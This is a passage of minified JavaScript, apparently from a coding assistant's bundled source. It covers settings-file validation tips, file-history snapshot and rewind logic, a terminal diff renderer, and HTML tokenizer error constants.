days)"}},{matches:(A)=>A.path.startsWith("env.")&&A.code==="invalid_type",tip:{suggestion:'Environment variables must be strings. Wrap numbers and booleans in quotes. Example: "DEBUG": "true", "PORT": "3000"',docLink:"https://code.claude.com/docs/en/settings#environment-variables"}},{matches:(A)=>(A.path==="permissions.allow"||A.path==="permissions.deny")&&A.code==="invalid_type"&&A.expected==="array",tip:{suggestion:'Permission rules must be in an array. Format: ["Tool(specifier)"]. Examples: ["Bash(npm run build)", "Edit(docs/**)", "Read(~/.zshrc)"]. Use * for wildcards.'}},{matches:(A)=>A.path.includes("hooks")&&A.code==="invalid_type",tip:{suggestion:'Hooks use a new format with matchers. Example: {"PostToolUse": [{"matcher": {"tools": ["BashTool"]}, "hooks": [{"type": "command", "command": "echo Done"}]}]}'}},{matches:(A)=>A.code==="invalid_type"&&A.expected==="boolean",tip:{suggestion:'Use true or false without quotes. Example: "includeCoAuthoredBy": true'}},{matches:(A)=>A.code==="unrecognized_keys",tip:{suggestion:"Check for typos or refer to the documentation for valid fields",docLink:"https://code.claude.com/docs/en/settings"}},{matches:(A)=>A.code==="invalid_value"&&A.enumValues!==void 0,tip:{suggestion:void 0}},{matches:(A)=>A.code==="invalid_type"&&A.expected==="object"&&A.received===null&&A.path==="",tip:{suggestion:"Check for missing commas, unmatched brackets, or trailing commas. Use a JSON validator to identify the exact syntax error."}},{matches:(A)=>A.path==="permissions.additionalDirectories"&&A.code==="invalid_type",tip:{suggestion:'Must be an array of directory paths. Example: ["~/projects", "/tmp/workspace"]. You can also use --add-dir flag or /add-dir command',docLink:"https://code.claude.com/docs/en/iam#working-directories"}}],UmY={permissions:"https://code.claude.com/docs/en/iam#configuring-permissions",env:"https://code.claude.com/docs/en/settings#environment-variables",hooks:"https://code.claude.com/docs/en/hooks"}});function Wf6(){let A=MF(tI,{unrepresentable:"any"});return UA(A,null,2)}var Lv7=k(()=>{z7();rU();b1()});function Rv7(A){return A.code==="invalid_type"}function yv7(A){return A.code==="invalid_value"}function pmY(A){return A.code==="unrecognized_keys"}function Iv7(A){return A.code==="too_small"}function Df6(A){if(A===null)return"null";if(A===void 0)return"undefined";if(Array.isArray(A))return"array";return typeof A}function Sv7(A){let K=A.match(/received (\w+)/);return K?K[1]:void 0}function jf6(A,K){return A.issues.map((q)=>{let Y=q.path.map(String).join("."),z=q.message,w,H,J,O,X;if(yv7(q))H=q.values.map((_)=>String(_)),J=H.join(" | "),O=void 0,X=void 0;else if(Rv7(q)){J=q.expected;let _=Sv7(q.message);O=_??Df6(q.input),X=_??Df6(q.input)}else if(Iv7(q))J=String(q.minimum);else if(q.code==="custom"&&"params"in q)O=q.params.received,X=O;let $=kv7({path:Y,code:q.code,expected:J,received:O,enumValues:H,message:q.message,value:O});if(yv7(q))w=H?.map((_)=>`"${_}"`).join(", "),z=`Invalid value. Expected one of: ${w}`;else if(Rv7(q)){let _=Sv7(q.message)??Df6(q.input);if(q.expected==="object"&&_==="null"&&Y==="")z="Invalid or malformed JSON";else z=`Expected ${q.expected}, but received ${_}`}else if(pmY(q)){let _=q.keys.join(", ");z=`Unrecognized field${q.keys.length>1?"s":""}: ${_}`}else if(Iv7(q))z=`Number must be greater than or equal to ${q.minimum}`,w=String(q.minimum);return{file:K,path:Y,message:z,expected:w,invalidValue:X,suggestion:$?.suggestion,docLink:$?.docLink}})}function Mf6(A){try{let K=G6(A),q=tI.strict().safeParse(K);if(q.success)return{isValid:!0};return{isValid:!1,error:`Settings validation failed: `+jf6(q.error,"settings").map((w)=>`- ${w.path}: ${w.message}`).join(` `),fullSchema:Wf6()}}catch(K){return{isValid:!1,error:`Invalid JSON: ${K instanceof Error?K.message:"Unknown parsing error"}`,fullSchema:Wf6()}}}var Pf6=k(()=>{rU();Cv7();Lv7();b1()});function hv7(A,K,q){if(!Vf6(A))return null;if(!Mf6(K).isValid)return null;let z=q(),w=Mf6(z);if(!w.isValid)return{result:!1,message:`Claude Code settings.json validation failed after edit: ${w.error} Full schema: ${w.fullSchema} IMPORTANT: Do not update the env unless explicitly instructed to do so.`,errorCode:10};return null}var bv7=k(()=>{Pf6();Xz()});function Zs(A,K,q){return}function uv7(A){let K=A.find((q)=>q.name==="claude-vscode");if(K&&K.type==="connected"){xv7=K,K.client.setNotificationHandler(dmY,async(Y)=>{let{eventName:z,eventData:w}=Y.params;n(`tengu_vscode_${z}`,w)});let q={tengu_vscode_review_upsell:aY("tengu_vscode_review_upsell"),tengu_vscode_onboarding:aY("tengu_vscode_onboarding")};K.client.notification({method:"experiment_gates",params:{gates:q}})}}var dmY,xv7=null;var FWA=k(()=>{z7();l1();B7();Z1();dmY=U.object({method:U.literal("log_event"),params:U.object({eventName:U.string(),eventData:U.object({}).passthrough()})})});import{createHash as cmY}from"crypto";import{join as mv7,dirname as Nf6,isAbsolute as gv7,relative as lmY}from"path";import{inspect as imY}from"util";import{chmodSync as Fv7}from"fs";function l2(){if(b7())return nmY();return M1().fileCheckpointingEnabled!==!1&&!P1(process.env.CLAUDE_CODE_DISABLE_FILE_CHECKPOINTING)}function nmY(){return P1(process.env.CLAUDE_CODE_ENABLE_SDK_FILE_CHECKPOINTING)&&!P1(process.env.CLAUDE_CODE_DISABLE_FILE_CHECKPOINTING)}async function Ds(A,K,q){if(!l2())return;A((Y)=>{try{let z=Y.snapshots.at(-1);if(!z)return KA(Error("FileHistory: Missing most recent snapshot")),n("tengu_file_history_track_edit_failed",{}),Y;let w=pv7(K);if(z.trackedFileBackups[w])return Y;let H=Y.trackedFiles.has(w)?Y.trackedFiles:new Set(Y.trackedFiles).add(w),O=!BA().existsSync(K),X=O?ff6(null,1):ff6(K,1),$=X1A(z);$.trackedFileBackups[w]=X;let _={...Y,snapshots:[...Y.snapshots.slice(0,-1),$],trackedFiles:H};return dv7(_),oG1(q,$,!0).catch((G)=>{KA(Error(`FileHistory: Failed to record snapshot: ${G}`))}),n("tengu_file_history_track_edit_success",{isNewFile:O,version:X.version}),h(`FileHistory: Tracked file modification for ${K}`),_}catch(z){return KA(z),n("tengu_file_history_track_edit_failed",{}),Y}})}async function QWA(A,K){if(!l2())return;A((q)=>{try{let Y=BA(),z=new Date,w={},H=q.snapshots.at(-1);if(H){h(`FileHistory: Making snapshot for message ${K}`);for(let X of q.trackedFiles)try{let $=Tf6(X);if(!Y.existsSync($)){let _=H.trackedFileBackups[X],G=_?_.version+1:1;w[X]={backupFileName:null,version:G,backupTime:new Date},n("tengu_file_history_backup_deleted_file",{version:G}),h(`FileHistory: Missing tracked file: ${X}`)}else{let _=H.trackedFileBackups[X];if(_&&_.backupFileName!==null&&!Uv7($,_.backupFileName)){w[X]=_;continue}let G=_?_.version+1:1,Z=ff6($,G);w[X]=Z}}catch($){KA($),n("tengu_file_history_backup_file_failed",{})}}let J={messageId:K,trackedFileBackups:w,timestamp:z},O={...q,snapshots:[...q.snapshots,J]};return dv7(O),smY(q,O),oG1(K,J,!1).catch((X)=>{KA(Error(`FileHistory: Failed to record snapshot: ${X}`))}),h(`FileHistory: Added snapshot for ${K}, tracking ${q.trackedFiles.size} files`),n("tengu_file_history_snapshot_success",{trackedFilesCount:q.trackedFiles.size,snapshotCount:O.snapshots.length}),O}catch(Y){return KA(Y),n("tengu_file_history_snapshot_failed",{}),q}})}async function lG1(A,K){if(!l2())return;let q=null;if(A((Y)=>{let z=Y;try{let w=Y.snapshots.findLast((J)=>J.messageId===K);if(!w)return KA(Error(`FileHistory: Snapshot for ${K} not found`)),n("tengu_file_history_rewind_failed",{trackedFilesCount:z.trackedFiles.size,snapshotFound:!1}),q=Error("The selected snapshot was not found"),z;h(`FileHistory: [Rewind] Rewinding to snapshot for ${K}`);let H=Qv7(z,w,!1);h(`FileHistory: [Rewind] Finished rewinding to ${K}`),n("tengu_file_history_rewind_success",{trackedFilesCount:z.trackedFiles.size,filesChangedCount:H?.filesChanged?.length})}catch(w){q=w,KA(w),n("tengu_file_history_rewind_failed",{trackedFilesCount:z.trackedFiles.size,snapshotFound:!0})}return z}),q)throw q}function iG1(A,K){if(!l2())return!1;return A.snapshots.some((q)=>q.messageId===K)}function xmA(A,K){if(!l2())return;let q=A.snapshots.findLast((Y)=>Y.messageId===K);if(!q)return;return Qv7(A,q,!0)}function Qv7(A,K,q){let Y=BA(),z=[],w=0,H=0;for(let J of A.trackedFiles)try{let O=Tf6(J),X=K.trackedFileBackups[J],$=X?X.backupFileName:amY(J,A);if($===void 0)KA(Error("FileHistory: Error finding the backup file to apply")),n("tengu_file_history_rewind_restore_file_failed",{dryRun:q});else if($===null){if(Y.existsSync(O)){if(q){let _=Bv7(O,void 0);w+=_?.insertions||0,H+=_?.deletions||0}else Y.unlinkSync(O),h(`FileHistory: [Rewind] Deleted ${O}`);z.push(O)}}else if(q){let _=Bv7(O,$);if(w+=_?.insertions||0,H+=_?.deletions||0,_?.insertions||_?.deletions)z.push(O)}else if(Uv7(O,$))omY(O,$),h(`FileHistory: [Rewind] Restored ${O} from ${$}`),z.push(O)}catch(O){KA(O),n("tengu_file_history_rewind_restore_file_failed",{dryRun:q})}return{filesChanged:z,insertions:w,deletions:H}}function Uv7(A,K){let q=BA(),Y=Ws(K);try{let z=q.existsSync(A),w=q.existsSync(Y);if(z!==w)return!0;else if(!z)return!1;let H=q.statSync(A),J=q.statSync(Y);if(H.mode!==J.mode||H.size!==J.size)return!0;if(H.mtimeMs<J.mtimeMs)return!1;let O=q.readFileSync(A,{encoding:"utf-8"}),X=q.readFileSync(Y,{encoding:"utf-8"});return O!==X}catch{return!0}}function Bv7(A,K){let q=[],Y=0,z=0;try{let w=BA(),H=K&&Ws(K),J=w.existsSync(A),O=H&&w.existsSync(H);if(!J&&!O)return{filesChanged:q,insertions:Y,deletions:z};q.push(A);let X=J?w.readFileSync(A,{encoding:"utf-8"}):"",$=O?w.readFileSync(H,{encoding:"utf-8"}):"";X_1(X,$).forEach((G)=>{if(G.added)Y+=G.count||0;if(G.removed)z+=G.count||0})}catch(w){KA(Error(`FileHistory: Error generating diffStats: ${w}`))}return{filesChanged:q,insertions:Y,deletions:z}}function rmY(A,K){return`${cmY("sha256").update(A).digest("hex").slice(0,16)}@v${K}`}function Ws(A,K){let q=w8();return mv7(q,"file-history",K||d1(),A)}function ff6(A,K){let q=A!==null?rmY(A,K):null;if(A&&q){let Y=BA(),z=Ws(q),w=Nf6(z);if(!Y.existsSync(w))Y.mkdirSync(w);let H=Y.readFileSync(A,{encoding:"utf-8"});x8(z,H,{encoding:"utf-8",flush:!0});let J=Y.statSync(A),O=J.mode;Fv7(z,O),n("tengu_file_history_backup_file_created",{version:K,fileSize:J.size})}return{backupFileName:q,version:K,backupTime:new Date}}function omY(A,K){let q=BA(),Y=Ws(K);if(!q.existsSync(Y)){n("tengu_file_history_rewind_restore_file_failed",{}),KA(Error(`FileHistory: [Rewind] Backup file not found: ${Y}`));return}let z=q.readFileSync(Y,{encoding:"utf-8"}),w=Nf6(A);if(!q.existsSync(w))q.mkdirSync(w);x8(A,z,{encoding:"utf-8",flush:!0});let H=q.statSync(Y).mode;Fv7(A,H)}function amY(A,K){for(let q of K.snapshots){let Y=q.trackedFileBackups[A];if(Y!==void 0&&Y.version===1)return Y.backupFileName}return}function pv7(A){if(!gv7(A))return A;let K=V8();if(A.startsWith(K))return lmY(K,A);return A}function Tf6(A){if(gv7(A))return A;return mv7(V8(),A)}function nG1(A,K){if(!l2())return;let q=[],Y=new Set;for(let z of A){let w={};for(let[H,J]of Object.entries(z.trackedFileBackups)){let O=pv7(H);Y.add(O),w[O]=J}q.push({...z,trackedFileBackups:w})}K({snapshots:q,trackedFiles:Y})}async function rG1(A){if(!l2())return;let K=A.fileHistorySnapshots;if(!K||A.messages.length===0)return;let Y=A.messages[A.messages.length-1]?.sessionId;if(!Y){KA(Error("FileHistory: Failed to copy backups on restore (no previous session id)"));return}let z=d1();if(Y===z){h(`FileHistory: No need to copy file history for resuming with same session id: ${z}`);return}try{for(let w of K){let H=!1;for(let[J,O]of Object.entries(w.trackedFileBackups)){if(!O.backupFileName)continue;let X=BA(),$=Ws(O.backupFileName,Y),_=Ws(O.backupFileName,z);if(X.existsSync(_))continue;if(!X.existsSync($)){KA(Error(`FileHistory: Failed to copy backup ${O.backupFileName} on restore (backup file does not exist in ${Y})`)),H=!0;break}let G=Nf6(_);if(!X.existsSync(G))X.mkdirSync(G);try{X.linkSync($,_)}catch{KA(Error("FileHistory: Error hard linking backup file from previous session"));try{X.copyFileSync($,_)}catch{H=!0,KA(Error("FileHistory: Error copying over backup from previous session"))}}h(`FileHistory: Copied backup ${O.backupFileName} from session ${Y} to ${z}`)}if(!H)oG1(w.messageId,w,!1).catch((J)=>{KA(Error("FileHistory: Failed to record copy backup snapshot"))});else n("tengu_file_history_resume_copy_failed",{numSnapshots:K.length})}}catch(w){KA(w)}}function smY(A,K){let q=A.snapshots.at(-1),Y=K.snapshots.at(-1);if(!Y)return;let z=BA();for(let w of K.trackedFiles){let H=Tf6(w),J=q?.trackedFileBackups[w],O=Y.trackedFileBackups[w];if(J?.backupFileName===O?.backupFileName&&J?.version===O?.version)continue;let X=null;if(J?.backupFileName)try{let _=Ws(J.backupFileName);if(z.existsSync(_))X=z.readFileSync(_,{encoding:"utf-8"})}catch{}let $=null;if(O?.backupFileName)try{let _=Ws(O.backupFileName);if(z.existsSync(_))$=z.readFileSync(_,{encoding:"utf-8"})}catch{}else if(O?.backupFileName===null)$=null;if(X!==$)Zs(H,X,$)}}function dv7(A){if(tmY)console.error(imY(A,!1,5))}var tmY=!1;var AP=k(()=>{e6();b1();Z1();q6();b1();C1();UK();l6();AmA();l1();i6();FWA()});function kf(A,K){return A.flatMap((q,Y)=>Y?[K(Y),q]:[q])}function cv7(A){let K=s(10),{patch:q,dim:Y,width:z}=A,[w]=I4(),H;if(K[0]!==Y||K[1]!==q.lines||K[2]!==q.oldStart||K[3]!==w||K[4]!==z)H=wgY(q.lines,q.oldStart,z,Y,w),K[0]=Y,K[1]=q.lines,K[2]=q.oldStart,K[3]=w,K[4]=z,K[5]=H;else H=K[5];let J=H,O;if(K[6]!==J)O=J.map(AgY),K[6]=J,K[7]=O;else O=K[7];let X;if(K[8]!==O)X=GW.createElement(S,{flexDirection:"column",flexGrow:1},O),K[8]=O,K[9]=X;else X=K[9];return X}function AgY(A,K){return GW.createElement(S,{key:K},A)}function KgY(A){return A.map((K)=>{if(K.startsWith("+"))return{code:K.slice(1),i:0,type:"add",originalCode:K.slice(1)};if(K.startsWith("-"))return{code:K.slice(1),i:0,type:"remove",originalCode:K.slice(1)};return{code:K.slice(1),i:0,type:"nochange",originalCode:K.slice(1)}})}function qgY(A){let K=[],q=0;while(q<A.length){let Y=A[q];if(!Y){q++;continue}if(Y.type==="remove"){let z=[Y],w=q+1;while(w<A.length&&A[w]?.type==="remove"){let J=A[w];if(J)z.push(J);w++}let H=[];while(w<A.length&&A[w]?.type==="add"){let J=A[w];if(J)H.push(J);w++}if(z.length>0&&H.length>0){let J=Math.min(z.length,H.length);for(let O=0;O<J;O++){let X=z[O],$=H[O];if(X&&$)X.wordDiff=!0,$.wordDiff=!0,X.matchedLine=$,$.matchedLine=X}K.push(...z.filter(Boolean)),K.push(...H.filter(Boolean)),q=w}else K.push(Y),q++}else K.push(Y),q++}return K}function YgY(A,K){return Yj7(A,K,{ignoreCase:!1})}function zgY(A,K,q,Y,z){let{type:w,i:H,wordDiff:J,matchedLine:O,originalCode:X}=A;if(!J||!O)return null;let $=w==="remove"?X:O.originalCode,_=w==="remove"?O.originalCode:X,G=YgY($,_),Z=$.length+_.length;if(G.filter((C)=>C.added||C.removed).reduce((C,R)=>C+R.value.length,0)/Z>emY||Y)return null;let j=w==="add"?"+":"-",M=j.length,P=Math.max(1,K-q-1-M),f=[],N=[],T=0;if(G.forEach((C,R)=>{let x=!1,y;if(w==="add"){if(C.added)x=!0,y="diffAddedWord";else if(!C.removed)x=!0}else if(w==="remove"){if(C.removed)x=!0,y="diffRemovedWord";else if(!C.added)x=!0}if(!x)return;ky(C.value,P,"wrap").split(` `).forEach((F,Q)=>{if(!F)return;if(Q>0||T+F.length>P){if(N.length>0)f.push({content:[...N],contentWidth:T}),N=[],T=0}N.push(GW.createElement(V,{key:`part-${R}-${Q}`,backgroundColor:y},F)),T+=F.length})}),N.length>0)f.push({content:N,contentWidth:T});return f.map(({content:C,contentWidth:R},x)=>{let y=`${w}-${H}-${x}`,B=w==="add"?Y?"diffAddedDimmed":"diffAdded":Y?"diffRemovedDimmed":"diffRemoved",b=x===0?H:void 0,F=(b!==void 0?b.toString().padStart(q):" ".repeat(q))+" ",Q=F.length+M+R,u=Math.max(0,K-Q);return GW.createElement(V,{key:y,color:z?"text":void 0,backgroundColor:B,dimColor:Y},F,j,C," ".repeat(u))})}function wgY(A,K,q,Y,z){let w=Math.max(1,Math.floor(q)),H=KgY(A),J=qgY(H),O=HgY(J,K),X=Math.max(...O.map(({i:_})=>_),0),$=Math.max(X.toString().length+1,0);return O.flatMap((_)=>{let{type:G,code:Z,i:W,wordDiff:D,matchedLine:j}=_;if(D&&j){let T=zgY(_,w,$,Y,z);if(T!==null)return T}let M=2,P=Math.max(1,w-$-1-M);return ky(Z,P,"wrap").split(` `).map((T,C)=>{let R=`${G}-${W}-${C}`,x=C===0?W:void 0,y=(x!==void 0?x.toString().padStart($):" ".repeat($))+" ",B=G==="add"?"+":G==="remove"?"-":" ",b=y.length+1+T.length,F=Math.max(0,w-b);switch(G){case"add":return GW.createElement(V,{key:R,color:z?"text":void 0,backgroundColor:Y?"diffAddedDimmed":"diffAdded",dimColor:Y},y,B,T," ".repeat(F));case"remove":return GW.createElement(V,{key:R,color:z?"text":void 0,backgroundColor:Y?"diffRemovedDimmed":"diffRemoved",dimColor:Y},y,B,T," ".repeat(F));case"nochange":return GW.createElement(V,{key:R,color:z?"text":void 0,dimColor:Y},GW.createElement(V,{dimColor:!0},y),B,T," ".repeat(F))}})})}function HgY(A,K){let q=K,Y=[],z=[...A];while(z.length>0){let w=z.shift(),{code:H,type:J,originalCode:O,wordDiff:X,matchedLine:$}=w,_={code:H,type:J,i:q,originalCode:O,wordDiff:X,matchedLine:$};switch(J){case"nochange":q++,Y.push(_);break;case"add":q++,Y.push(_);break;case"remove":{Y.push(_);let G=0;while(z[0]?.type==="remove"){q++;let Z=z.shift(),{code:W,type:D,originalCode:j,wordDiff:M,matchedLine:P}=Z,f={code:W,type:D,i:q,originalCode:j,wordDiff:M,matchedLine:P};Y.push(f),G++}q-=G;break}}}return Y}var GW,emY=0.4;var lv7=k(()=>{cA();mA();AmA();GW=o($A(),1)});var iv7={};_q(iv7,{getSyntaxTheme:()=>XgY,default:()=>$gY,ColorFile:()=>OgY,ColorDiff:()=>JgY});var UWA,JgY,OgY,XgY,$gY;var nv7=k(()=>{try{UWA=(()=>{throw new Error("Cannot require module "+"../../color-diff.node");})()}catch(A){UWA=null}JgY=UWA?.ColorDiff,OgY=UWA?.ColorFile,XgY=UWA?.getSyntaxTheme,$gY=UWA?.ColorDiff});function vf6(){if(J2(process.env.CLAUDE_CODE_SYNTAX_HIGHLIGHT))return"env";if(!n9())return"build";return null}async function js(){if(rv7)return;if(rv7=!0,vf6()!==null)return;try{let A=await Promise.resolve().then(() => (nv7(),iv7));ov7=A.ColorDiff,av7=A.ColorFile,sv7=A.getSyntaxTheme}catch(A){h(`[ColorDiff] Rust module unavailable, falling back to JS: ${A instanceof Error?A.message:String(A)}`)}}function tv7(){return ov7}function ev7(){return av7}function AE7(A){return sv7?.(A)??null}function Ef6(A){return A.some((K)=>K.type==="assistant"&&K.message.content.some((q)=>q.type==="tool_use"&&_gY.has(q.name??"")))}var ov7=null,av7=null,sv7=null,rv7=!1,_gY;var H5A=k(()=>{Z1();l6();jV();_gY=new Set([m5,Qz,ZD])});function KP(){return F1((A)=>A.settings)}var Ms=k(()=>{A4()});function GgY(A,K){return eI.createElement(V,{key:K},eI.createElement(a3,null,A))}var eI,KE7,Cf;var Ps=k(()=>{cA();mA();lv7();H5A();Ms();eI=o($A(),1),KE7=o($A(),1),Cf=KE7.memo(function(K){let q=s(16),{patch:Y,dim:z,filePath:w,firstLine:H,fileContent:J,width:O,skipHighlighting:X}=K,$=X===void 0?!1:X,[_]=I4(),Z=KP().syntaxHighlightingDisabled??!1,W;A:{if($||Z){W=null;break A}let f;if(q[0]===Symbol.for("react.memo_cache_sentinel"))f=tv7(),q[0]=f;else f=q[0];let N=f;if(!N){W=null;break A}let T=J??null,C;if(q[1]!==w||q[2]!==H||q[3]!==Y||q[4]!==T)C=new N(Y,H,w,T),q[1]=w,q[2]=H,q[3]=Y,q[4]=T,q[5]=C;else C=q[5];W=C}let D=W,j;A:{if(D===null){j=null;break A}let f=Math.max(1,Math.floor(O)),N;if(q[6]!==D||q[7]!==z||q[8]!==f||q[9]!==_)N=D.render(_,f,z),q[6]=D,q[7]=z,q[8]=f,q[9]=_,q[10]=N;else N=q[10];j=N}let M=j,P;if(q[11]!==z||q[12]!==M||q[13]!==Y||q[14]!==O)P=eI.createElement(S,null,M?eI.createElement(S,{flexDirection:"column"},M.map(GgY)):eI.createElement(cv7,{patch:Y,dim:z,width:O})),q[11]=z,q[12]=M,q[13]=Y,q[14]=O,q[15]=P;else P=q[15];return P})});function aG1(A){let K=s(27),{filePath:q,structuredPatch:Y,firstLine:z,fileContent:w,style:H,verbose:J,previewHint:O}=A,{columns:X}=f8(),$=Y.reduce(jgY,0),_=Y.reduce(WgY,0),G;if(K[0]!==$)G=$>0?PY.createElement(PY.Fragment,null,"Added ",PY.createElement(V,{bold:!0},$)," ",$>1?"lines":"line"):null,K[0]=$,K[1]=G;else G=K[1];let Z=$>0&&_>0?", ":null,W;if(K[2]!==$||K[3]!==_)W=_>0?PY.createElement(PY.Fragment,null,$===0?"R":"r","emoved ",PY.createElement(V,{bold:!0},_)," ",_>1?"lines":"line"):null,K[2]=$,K[3]=_,K[4]=W;else W=K[4];let D;if(K[5]!==G||K[6]!==Z||K[7]!==W)D=PY.createElement(V,null,G,Z,W),K[5]=G,K[6]=Z,K[7]=W,K[8]=D;else D=K[8];let j=D;if(O){if(H!=="condensed"&&!J){let N;if(K[9]!==O)N=PY.createElement(k6,null,PY.createElement(V,{dimColor:!0},O)),K[9]=O,K[10]=N;else N=K[10];return N}}else if(H==="condensed"&&!J)return j;let M;if(K[11]!==j)M=PY.createElement(V,null,j),K[11]=j,K[12]=M;else M=K[12];let P;if(K[13]!==X||K[14]!==w||K[15]!==q||K[16]!==z||K[17]!==Y){let N;if(K[19]!==X||K[20]!==w||K[21]!==q||K[22]!==z)N=(T)=>PY.createElement(S,{flexDirection:"column",key:T.newStart},PY.createElement(Cf,{patch:T,dim:!1,width:X-12,filePath:q,firstLine:z,fileContent:w})),K[19]=X,K[20]=w,K[21]=q,K[22]=z,K[23]=N;else N=K[23];P=kf(Y.map(N),ZgY),K[13]=X,K[14]=w,K[15]=q,K[16]=z,K[17]=Y,K[18]=P}else P=K[18];let f;if(K[24]!==M||K[25]!==P)f=PY.createElement(k6,null,PY.createElement(S,{flexDirection:"column"},M,P)),K[24]=M,K[25]=P,K[26]=f;else f=K[26];return f}function ZgY(A){return PY.createElement(S,{key:`ellipsis-${A}`},PY.createElement(V,{dimColor:!0},"..."))}function WgY(A,K){return A+K.lines.filter(DgY).length}function DgY(A){return A.startsWith("-")}function jgY(A,K){return A+K.lines.filter(MgY).length}function MgY(A){return A.startsWith("+")}var PY;var kf6=k(()=>{cA();mA();Ps();uK();Eq();PY=o($A(),1)});var sG1=v((VgY)=>{var PgY=[65534,65535,131070,131071,196606,196607,262142,262143,327678,327679,393214,393215,458750,458751,524286,524287,589822,589823,655358,655359,720894,720895,786430,786431,851966,851967,917502,917503,983038,983039,1048574,1048575,1114110,1114111];VgY.REPLACEMENT_CHARACTER="�";VgY.CODE_POINTS={EOF:-1,NULL:0,TABULATION:9,CARRIAGE_RETURN:13,LINE_FEED:10,FORM_FEED:12,SPACE:32,EXCLAMATION_MARK:33,QUOTATION_MARK:34,NUMBER_SIGN:35,AMPERSAND:38,APOSTROPHE:39,HYPHEN_MINUS:45,SOLIDUS:47,DIGIT_0:48,DIGIT_9:57,SEMICOLON:59,LESS_THAN_SIGN:60,EQUALS_SIGN:61,GREATER_THAN_SIGN:62,QUESTION_MARK:63,LATIN_CAPITAL_A:65,LATIN_CAPITAL_F:70,LATIN_CAPITAL_X:88,LATIN_CAPITAL_Z:90,RIGHT_SQUARE_BRACKET:93,GRAVE_ACCENT:96,LATIN_SMALL_A:97,LATIN_SMALL_F:102,LATIN_SMALL_X:120,LATIN_SMALL_Z:122,REPLACEMENT_CHARACTER:65533};VgY.CODE_POINT_SEQUENCES={DASH_DASH_STRING:[45,45],DOCTYPE_STRING:[68,79,67,84,89,80,69],CDATA_START_STRING:[91,67,68,65,84,65,91],SCRIPT_STRING:[115,99,114,105,112,116],PUBLIC_STRING:[80,85,66,76,73,67],SYSTEM_STRING:[83,89,83,84,69,77]};VgY.isSurrogate=function(A){return A>=55296&&A<=57343};VgY.isSurrogatePair=function(A){return A>=56320&&A<=57343};VgY.getSurrogatePairCodePoint=function(A,K){return(A-55296)*1024+9216+K};VgY.isControlCodePoint=function(A){return A!==32&&A!==10&&A!==13&&A!==9&&A!==12&&A>=1&&A<=31||A>=127&&A<=159};VgY.isUndefinedCodePoint=function(A){return A>=64976&&A<=65007||PgY.indexOf(A)>-1}});var tG1=v((K_H,qE7)=>{qE7.exports={controlCharacterInInputStream:"control-character-in-input-stream",noncharacterInInputStream:"noncharacter-in-input-stream",surrogateInInputStream:"surrogate-in-input-stream",nonVoidHtmlElementStartTagWithTrailingSolidus:"non-void-html-element-start-tag-with-trailing-solidus",endTagWithAttributes:"end-tag-with-attributes",endTagWithTrailingSolidus:"end-tag-with-trailing-solidus",unexpectedSolidusInTag:"unexpected-solidus-in-tag",unexpectedNullCharacter:"unexpected-null-character",unexpectedQuestionMarkInsteadOfTagName:"unexpected-question-mark-instead-of-tag-name",invalidFirstCharacterOfTagName:"invalid-first-character-of-tag-name",unexpectedEqualsSignBeforeAttributeName:"unexpected-equals-sign-before-attribute-name",missingEndTagName:"missing-end-tag-name",unexpectedCharacterInAttributeName:"unexpected-character-in-attribute-name",unknownNamedCharacterReference:"unknown-named-character-reference",missingSemicolonAfterCharacterReference:"missing-semicolon-after-character-reference",unexpectedCharacterAfterDoctypeSystemIdentifier:"unexpected-character-after-doctype-system-identifier",unexpectedCharacterInUnquotedAttributeValue:"unexpected-character-in-unquoted-attribute-value",eofBeforeTagName:"eof-before-tag-name",eofInTag:"eof-in-tag",missingAttributeValue:"missing-attribute-value",missingWhitespaceBetweenAttributes:"missing-whitespace-between-attributes",missingWhitespaceAfterDoctypePublicKeyword:"missing-whitespace-after-doctype-public-keyword",missingWhitespaceBetweenDoctypePublicAndSystemIdentifiers:"missing-whitespace-between-doctype-public-and-system-identifiers",missingWhitespaceAfterDoctypeSystemKeyword:"missing-whitespace-after-doctype-system-keyword",missingQuoteBeforeDoctypePublicIdentifier:"missing-quote-before-doctype-public-identifier",missingQuoteBeforeDoctypeSystemIdentifier:"missing-quote-before-doctype-system-identifier",missingDoctypePublicIdentifier:"missing-doctype-public-identifier",missingDoctypeSystemIdentifier:"missing-doctype-system-identifier",abruptDoctypePublicIdentifier:"abrupt-doctype-public-identifier",abruptDoctypeSystemIdentifier:"abrupt-doctype-system-identifier",cdataInHtmlContent:"cdata-in-html-content",incorrectlyOpenedComment:"incorrectly-opened-comment",eofInScriptHtmlCommentLikeText:"eof-in-script-html-comment-like-text",eofInDoctype:"eof-in-doctype",nestedComment:"nested-comment",abruptClosingOfEmptyComment:"abrupt-closing-of-empty-comment",eofInComment:"eof-in-comment",incorrectlyClosedComment:"incorrectly-closed-comment",eofInCdata:"eof-in-cdata",absenceOfDigitsInNumericCharacterReference:"absence-of-digits-in-numeric-character-reference",nullCharacterReference:"null-character-reference",surrogateCharacterReference:"surrogate-character-reference",characterReferenceOutsideUnicodeRange:"character-reference-outside-unicode-range",controlCharacterReference:"control-character-reference",noncharacterCharacterReference:"noncharacter-character-reference",missingWhitespaceBeforeDoctypeName:"missing-whitespace-before-doctype-name",missingDoctypeName:"missing-doctype-name",invalidCharacterSequenceAfterDoctypeName:"invalid-character-sequence-after-doctype-name",duplicateAttribute:"duplicate-attribute",nonConformingDoctype:"non-conforming-doctype",missingDoctype:"missing-doctype",misplacedDoctype:"misplaced-doctype",endTagWithoutMatchingOpenElement:"end-tag-without-matching-open-element",closingOfElementWithOpenChildElements:"closing-of-element-with-open-child-elements",disallowedContentInNoscriptInHead:"disallowed-content-in-noscript-in-head",openElementsLeftAfterEof:"open-elements-left-after-eof",abandonedHeadElementChild:"abandoned-head-element-child",misplacedStartTagForHeadElement:"misplaced-start-tag-for-head-element",nestedNoscriptInHead:"nested-noscript-in-head",eofInElementThatCanContainOnlyText:"eof-in-element-that-can-contain-only-text"}});var wE7=v((q_H,zE7)=>{var pWA=sG1(),Cf6=tG1(),J5A=pWA.CODE_POINTS;class YE7{constructor(){this.html=null,this.pos=-1,this.lastGapPos=-1,this.lastCharPos=-1,this.gapStack=[],this.skipNextNewLine=!1,this.lastChunkWritten=!1,this.endOfChunkHit=!1,this.bufferWaterline=65536}_err(){}_addGap(){this.gapStack.push(this.lastGapPos),this.lastGapPos=this.pos}_processSurrogate(A){if(this.pos!==this.lastCharPos){let K=this.html.charCodeAt(this.pos+1);if(pWA.isSurrogatePair(K))return this.pos++,this._addGap(),pWA.getSurrogatePairCodePoint(A,K)}else if(!this.lastChunkWritten)return this.endOfChunkHit=!0,J5A.EOF;return 